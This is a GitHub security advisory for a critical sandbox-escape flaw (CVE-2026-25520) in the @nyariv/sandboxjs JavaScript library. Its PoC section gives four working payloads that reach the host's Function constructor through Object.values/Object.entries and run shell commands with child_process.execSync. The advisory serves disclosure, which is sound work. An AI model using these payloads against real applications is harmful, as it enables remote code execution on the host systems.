nyariv/sandboxjs · Security

@nyariv/sandboxjs has a Sandbox Escape issue

GHSA ID
GHSA-58jh-xv4v-pcx4
CVE ID
CVE-2026-25520
Severity
critical
Published
Updated
CVSS
10 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS v3
10 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Description

Summary

The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox.

Details

The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization.

PoC

const s = require('@nyariv/sandboxjs').default;
const sb = new s();

payload = `
console.log(
  Object.values(this).at(0)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`

sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
console.log(
  Object.entries(this)[0].at(1)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`

sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
console.log(
  Object.entries(this)
    .at(0)
    .map((f) => {
      if (typeof f === 'function') {
        f.call('', 'return process')()
          .getBuiltinModule('child_process')
          .execSync('ls -lah', { stdio: 'inherit' });
      }
    }),
);
`

sb.compile(payload)().run();
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
const t = (f) => {
  f.call('', 'return process')()
    .getBuiltinModule('child_process')
    .execSync('ls -lah', { stdio: 'inherit' });
};
console.log(t.call(...Object.entries(this)[0]));
`

sb.compile(payload)().run();

Impact

Sanbox Escape -> RCE

CWEs

References